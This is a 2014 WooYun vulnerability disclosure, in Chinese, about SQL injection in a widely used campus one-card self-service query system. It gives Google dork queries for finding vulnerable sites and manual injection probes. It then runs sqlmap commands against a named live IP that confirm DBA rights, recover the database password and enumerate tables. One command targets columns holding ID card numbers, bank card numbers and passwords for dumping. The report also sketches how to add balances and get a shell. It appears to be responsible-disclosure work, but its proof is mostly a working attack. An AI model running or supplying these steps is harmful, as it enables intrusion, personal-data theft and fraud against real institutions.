当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054870

漏洞标题:某一卡通系统SQL注入导致的诸多安全问题

相关厂商:cncert国家互联网应急中心

漏洞作者: Xcode

提交时间:2014-03-28 22:47

修复时间:2014-05-12 22:48

公开时间:2014-05-12 22:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-28: 细节已通知厂商并且等待厂商处理中
2014-04-02: 厂商已经确认,细节仅向厂商公开
2014-04-12: 细节向核心白帽子及相关领域专家公开
2014-04-22: 细节向普通白帽子公开
2014-05-02: 细节向实习白帽子公开
2014-05-12: 细节向公众公开

简要描述:

SQL注入,可以导致用户信息泄漏,可以随意增改信息,甚至服务器沦陷。

详细说明:

受影响产品:郑州新开普电子技术有限公司一卡通自助查询管理系统
产品漏洞:注入漏洞
影响范围:由于很多高校或者公司都采用了这个一卡通系统,所以个人认为影响很大。虽然很多高校的一卡通系统放置于内网,但是同样存在这种危险性,亦不能忽视。本次漏洞验证以外网的一卡通系统为例。

漏洞证明:

漏洞验证:
在google上随便寻找了一个
inurl: Index_ShowNews.aspx?NewsCode
inurl: /selfsearch/Index_ShowNews.aspx?NewsCode
手工测试了下:
and 1=1
and 1=2
and (select count (*) from dual)>0—
存在注入点,且数据库为oracle
932 order by 7
-1 union all select all null,null,null,null,null,null,null from dual--
支持union注入
用sqlmap跑一下:
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --is-dba
current user is DBA: True
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –passwords
database management system users password hashes:
[*] CCENSE [1]:
password hash: 0EFA906BA34A9B3E
clear-text password: CCENSE
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --current-db
current schema (equivalent to database on Oracle): 'CCENSE'
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –D CCENSE –tables
Database: CCENSE
+--------------------------------+
| ALERT_EMP_PURVIEW |
| ALERT_LEVEL |
======>等等<=======
| ALERT_LOG |
| ZC_XY |
| ZHEJIANG_GET_MAX |
+--------------------------------+
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS –columns
Database: CCENSE
Table: BASE_CUSTOMERS
[50 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| BANKCARDNO | VARCHAR2 |
| CARDFUNC | NUMBER |
| CARDNO | NUMBER |
| CARDSFID | NUMBER |
| CARDSN | NUMBER |
| CARDTYPE | NUMBER |
| CERTIFICATEID | NUMBER |
| COUNTRY | VARCHAR2 |
| CURUSEDATE | DATE |
| CUSTDEPT | VARCHAR2 |
| CUSTOMERID | NUMBER |
| EMPCODE | VARCHAR2 |
| IDCARDNO | VARCHAR2 |
| IFPUSHFARE | VARCHAR2 |
| ISBIGFARECARD | NUMBER |
| JPDM | VARCHAR2 |
| MEDICALTYPE | NUMBER |
| NAME | VARCHAR2 |
| NATION | VARCHAR2 |
| NOUSEDATE | DATE |
| ODDFARE | NUMBER |
| ODDFAREACC | NUMBER |
| OPCOUNT | NUMBER |
| OPENDT | DATE |
| OUTID | VARCHAR2 |
| PWD | VARCHAR2 |
| QUERYPWD | VARCHAR2 |
| REGSTARTYEAR | NUMBER |
| SCANCODE | VARCHAR2 |
| SCARDSNR | VARCHAR2 |
| SERVERID | NUMBER |
| SEX | NUMBER |
| STATUS | NUMBER |
| SUBODDFARE | NUMBER |
| SUBODDFAREACC | NUMBER |
| SUMADDFARE | NUMBER |
| SUMCONSUMEFARE | NUMBER |
| SUMDAIFA | NUMBER |
| SUMDISCOUNT | NUMBER |
| SUMFARE | NUMBER |
| SUMLOAD | NUMBER |
| SUMMAINCONSUME | NUMBER |
| SUMMNGFARE | NUMBER |
| SUMQC | NUMBER |
| SUMSAVE | NUMBER |
| SUMSUBSIDY | NUMBER |
| SUMSUBSIDYCONSUME | NUMBER |
| SUMSUBSIDYLOAD | NUMBER |
| SUMSXF | NUMBER |
| VER | NUMBER |
+-------------------+----------+
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS -C "OUTID,IDCARDNO,SEX,PWD,NAME,QUERYPWD,BANKCARDNO" --dump --start 1 --stop 2

eeeee.png


至此,SQL注入可以导致用户个人信息泄漏,其中包括但不仅限于学号,性别,照片,身份证号,绑定的银行卡号,一卡通密码等。
但是这还仅仅是信息泄漏,因为此时数据库的权限是dba,我们做到以下这些事:
1.通过查询id,可以获取某个人的所有信息,包括历史账单等。
2.通过模拟分析一卡通的充值流程,随意向任意账户添加任意金额。
3.通过高权限的oracle,直接通过java存储过程来执行命令,getshell等,直接拿下服务器权限。

修复方案:

修正sql注入问题,做好系统防护,数据库权限要分配合理。

版权声明:转载请注明来源 Xcode@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-04-02 20:41

厂商回复:

最新状态:

暂无